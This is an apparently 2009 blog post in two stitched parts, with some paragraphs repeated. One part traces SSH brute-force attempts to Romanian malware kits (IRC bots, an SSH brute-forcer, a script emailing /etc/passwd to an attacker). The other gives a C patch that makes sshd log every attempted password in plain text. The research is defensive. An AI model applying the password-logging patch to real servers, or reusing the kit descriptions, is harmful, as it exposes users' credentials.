• If there is a single group behind these attacks, it would make sense that they would synchronize this work amongst the attacking IPs, allowing the attack to evade simple IDS rules and avoid duplication of effort.
• If there are multiple parties behind these attacks, it would make sense that the same username/password combinations would be tried by different hosts, pointing to a lack of synchronization.

Let’s take a look at first two IPs in these logs:

• For about 8 minutes from 09/27/09 05:05:47 AM until 09/27/09 05:13:38 AM PST, 85.62.95.198 tried a list of 86 username / password combinations.
• For about 2 minutes from 09/27/09 07:06:10 AM until 09/27/09 07:08:03 AM PST, 190.82.64.149 tried the exact same username / password combinations in the exact same order.
• 85.62.95.198 made a request every 7 seconds and 190.82.64.149 made a request every 2 seconds, with very small clock drift.
• Using two hosts was almost certainly a duplication of effort (that is unless they were trying to determine the rate at which my ssh daemon would process logins…in which case they were just sloppy).
• Given the even spread of the attempts and the identical dictionaries, it’s not unreasonable to conclude that these two hosts are running the same attack software with a wait parameter changed.

So: one group (no synchronization of dictionaries between bots), or multiple groups (both using a common dictionary)?

In order to determine which, I needed more information on the toolkit in use here. 

yeah - this is the entire script.

I took the odd-looking username/password combinations and ran some Google searches.  The following is what I found with my first search.  I’ve found much more than this, including more sophisticated attacks and full output (screenshots, keys pressed) from a keylogger, but going into that would be too much material for this post.

search term: mythtv vivafood
initial result: pass_file
host: f0rbidden.home.ro
notes: payload staging server; activity as recently as Sep. 13th
interesting files found on host:

boo.tgz:

• Linux IRC bot
• c&c information

boodarwin.tgz:

• darwin: PPC Mach-O (OS X) IRC bot
• freebsd: FreeBSD IRC bot
• sendmail: Unix IRC bot
• pico (trojaned? are the attackers unfamiliar with vi?)
• help files and configuration for a popular botnet control program
• “random” IRC nicks, comments, away messages, insults, etc.

gosh.tgz:

• a bunch of things we’ve seen already
• ssh-scan, ss: ssh brute-forcer & tool; based on libssh-0.1
• pscan2: a port scanner
• a, go.sh: ssh-scan supporting scripts
• mfu.txt: a list of IPs serving SSH(?)
• vuln.txt: a file to hold successfully brute-forced hosts
• gen-pass.sh: combines a user list & password list into a single list
• secure.sh: checks if user is root, moves mail to s8 if user is root

psyBNC-2.3.2-7.tar.gz & psyDarwin.tgz:

• IRC bouncers (BNC). Allows the attackers to proxy their IRC connections through infected hosts.

sniff.tgz:

• a bunch of things we’ve seen already
• the bot master’s email address (found inside sniff/install)

liviu.tar (partially corrupted):

• a bunch of things we’ve seen already
• a PHP shell
• ps: trojan horse scanner

gosh.tgz is a Romanian(?) kit made a group identified as “TASE”.
scam, a file inside gosh.tgz, will email the following to hotzu@hotzu.us:

• output from /sbin/ifpconfig (IP address of bot)
• output from uptime (reliability of bot)
• /etc/issue (bot’s Linux distribution)
• /etc/passwd (valid users on bot)
• output from id (current user)
• output from df -h (disk space available on bot)
• output from pwd (working directory)
• current list of successfully brute-forced hosts

As previously stated, I’m not going to dissect the other malware staging servers I found as this would take too much time/space.  I will, however, point out a few highlights that resulted from some simple Google searching with the usernames / passwords tried against me (you’re going to have to find these yourself):

• a complete PayPal phishing package (source code included)
• output from a keylogger (screenshots, captured credentials)
• possible source code for the ssh brute-force utility
• a rather odd place for a pass_file
• privilege escalation attempts (most likely successful, judging by the timestamps); very similar tools appear to be used post-escalation
• Conficker uses some of the same passwords that have been used against me
• valid* logins to SSH servers on compromised hosts
• the same toolkit (or slight variations thereof) on about a dozen hosts (hosting providers have been notified)

*Obviously I didn’t verify this.

At this point I know a lot about the tools most likely being run against me.  But what about some more info on the attackers?  IRC information was included in some malware kits…

I decided to look up the OP and see what other channels (s)he frequents.  Almost all were Romanian chat channels, but #a1b2c3 looked interesting:

a very lonely c&c channel.

…as did #19:

looks like (s)he figured me out. no more trolling c&c channels for me.

The #19 log is particularly interesting because you can clearly see fSs issue commands and expect a response.  After I failed to respond correctly, was he actually asking me something or is all of this part of the “random” request/response/nickname/away message lists mentioned previously?  Is everyone just reading from a script but me?

The command “shit” is an EnergyMech command.   He told all his bots to ban me (shitlist me) for the next 999 days even if one of them tries to unban me.  His reason for doing this is “boo”.

Update: some people have been confused at to my intention or my recommended use of the code I present here.  Let me make a few things clear:

1. Don’t make these modifications on any production machine
2. Don’t make these modifications on any machine receiving a lot of traffic
3. This isn’t the best way to capture logins.

I called it a “hack” for a reason.  It’s something I threw together in a few minutes in order to gather the necessary data to conduct the analysis I did in my next post.  As dozzie pointed out, this can be done better by writing a PAM module.  My purpose here was not to write something robust, rather to write something quick in order to find a password file being used against me.  I apologize for any confusion.

Keeping in mind that:

• only a fraction of the subdomains pinged will actually be registered with DynDNS
• only a fraction of the registered subdomains will be offering authentication services
• only a fraction of the authentication services will allow predictable usernames*, and
• only a fraction of those valid usernames will have predictable passwords

* root logins aren’t allowed by default on openssh and many other SSH implementations.

The (hopefully) small number of boxes that can be owned by brute forcing with this method apparently outweighs the cost to our adversary(ies).  As I later discovered, our IP address wasn’t enumerated via our DynDNS entry, but was brute forced.  Yeah.  They are trying IP addresses sequentially.

We noticed the SSH logs for our box were getting suspiciously long and it was pretty obvious why:

09/24/2009 12:49:19 PM: [FAIL] An error occured during key exchange auth done
09/24/2009 12:49:19 PM: [NOTE] Connection from 118.46.137.101 disconnected
09/24/2009 12:49:20 PM: [FAIL] An error occured during key exchange auth done
09/24/2009 12:49:20 PM: [NOTE] Connection from 118.46.137.101 disconnected
(repeat about 100 times)...

Our gateway Snort agreed that something was up:

[ ** ] [ 1:2001219:18 ] ET SCAN Potential SSH Scan [ ** ]
[ Classification: Attempted Information Leak ] [ Priority: 2 ]
09/17-10:49:59.339210 118.46.137.101:50905 -> ***.***.***.***:22
(repeat about 100 times)...

The attacking IP addresses would change periodically.

Perhaps I could discover if this is a single attacker or if this is multiple attackers:

• If there is a single group behind these attacks, it would make sense that they would synchronize this work amongst the attacking IPs, allowing the attack to evade simple IDS rules and avoid duplication of effort.
• If there are multiple parties behind these attacks, it would make sense that the same username/password combinations would be tried by different hosts, pointing to a lack of synchronization.

Of course this is a lot of assuming and is hardly scientific, but promises to be a fun experiment regardless.

My first thought was: I’ll build a honeynet!  After reading more about honeynets, however, I came to realize that a honeypot would require a lot of network work and a tough cost/benefit analysis. The problem is that a smart attacker will first check his/her newly compromised environment: is he/she root? is he/she in an obvious VM or jail? what others hosts are on this subnet?

If the attacker isn’t satisfied that what they’ve compromised is a unwitting user’s box (and not a honeypot), they may never execute telling commands or push interesting payloads. On the other hand, if you give the attacker too much access, the attacker may use your box to attack others, host child pornography or conduct other malicious/illegal actions.  To everyone else it will look like your box (and by extension, you) are doing these illegal things. In such a scenario, you would be presumed guilty unless you can prove you’re running a honeypot and aren’t actually the person breaking the law.

Having a severe lack of lawyers at my side (I do know a few poly sci majors), I opted to go a different route, at least for now:

I’ll modify sshd itself, causing it to log the time and origin of all attempts to authenticate, along with the complete usernames & passwords attempted.

This is not a new idea, in fact, it’s kinda what honeyd is for, but I thought it would be fun to do the ssh modification myself and follow the password trail to see where it leads.  (Where these harvested passwords lead will be the topic of my next post.)

For obvious reasons, openssh and others never log incorrect passwords (a mistype of your password would get winblowz logged when you meant winblows…such logging would make it trivial to escalate privilege).

Setting up the Server:

I chose to use VirtualBox on a Windows XP machine to virtualize Ubuntu 9.04 Desktop, on which I will be serving SSH with openssh.  VirtualBox is like VMware Workstation except it’s free (as in speech).  The process of creating and configuring a VM is outside the scope of this post.  Don’t do this on a production machine or any machine that has multiple users, as privilege escalation may become trivial.

The rest of these instructions will be valid for Ubuntu 9.04 Desktop’s default directory structure, installed software and openssh-5.1p1.  They can easily be adapted to other environments & versions of openssh.  The instructions listed here result in multiple installations of openssh-server.  I did’t really care about overlap in this throwaway VM environment, so long as I could get my modified sshd running with Ubuntu’s daemon manager.  A purist might do this another way.

1) Install the required dependencies for building openssh:

sudo apt-get install zlib1g-dev libssl-dev

2) Install openssh-server itself (we’ll modify the default installation):

sudo apt-get install openssh-server

3) Check which version of openssh you’re running:

ssh -v

4) Get the source code of the version of openssh you’re currently running (by the using the same version we may avoid odd version dependency issues).

5) (Optional) Download the corresponding .asc file & verify your copy of openssh.

gpg --recv-key 86FF9C48
gpg --verify openssh-5.1p1.tar.gz.asc openssh-5.1p1.tar.gz

(The above is the signing key for Damien Miller, maintainer of portable openssh. Try to guess which is him.)

Of course, if you’re really concerned about the integrity of your openssh download, you’ll want to verify gpg fingerprints as well.

Hacking sshd:

1) Extract the source & verify you can successfully build it:

tar -xvf openssh-5.1p1.tar.gz
cd openssh-5.1p1
./configure
make
ls -al | grep sshd

If you see an sshd binary, you compiled it.

2) Stop the sshd daemon:

sudo /etc/init.d/ssh stop

3) Install the openssh build you just created. (This is to put the config files, etc. in locations that our modified sshd will expect, while breaking very little of the Ubuntu package installation.  Since we’re not going to modify the config files, we don’t need to worry about syncing changes between them.)

sudo make install

4) Back up your current sshd binary (just in case):

sudo cp /usr/sbin/sshd /usr/sbin/sshd_original

5) Make the following modification to openssh-5.1p1/auth-passwd.c:

--- auth-passwd_original.c    2007-10-25 21:25:12.000000000 -0700
+++ auth-passwd.c    2009-09-28 21:35:04.000000000 -0700
@@ -53,6 +53,7 @@
 #include "hostfile.h"
 #include "auth.h"
 #include "auth-options.h"
+#include "canohost.h"

 extern Buffer loginmsg;
 extern ServerOptions options;
@@ -82,6 +83,23 @@
 {
 struct passwd * pw = authctxt->pw;
 int result, ok = authctxt->valid;
+
+    if (*password != '')
+    {
+        struct tm *timePtr;
+        time_t localTime;
+        char timeString[100];
+
+        localTime = time(NULL);
+        timePtr = localtime(&localTime);
+        strftime(timeString, 100, "%D %r", timePtr);
+
+        FILE *logFile;
+        logFile = fopen("/var/log/sshd_attempts","a+");
+        fprintf (logFile,"From: %s at: %s | user: %s, pass: %s\n", \
get_remote_ipaddr(), timeString, authctxt->user, password);
+        fclose (logFile);
+    }
+
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
 static int expire_checked = 0;
 #endif

Or you can grab my modified auth-passwd.c file and throw it in your openssh source directory.

6) Rebuild sshd:

make

7) Stop SSH, replace sshd, Start SSH:

sudo /etc/init.d/ssh stop
sudo cp sshd /usr/sbin/sshd
sudo /etc/init.d/ssh start

You’re done.  You should now have a modified sshd binary running your openssh server and logging all connection attempts to /var/log/sshd_attempts.  I’ve been running my modified sshd for a few days now and have collected quite a few of these attempts. Click below to view the connection attempts against my server.

View my Log

Part 2: From pass_file to Script Kiddies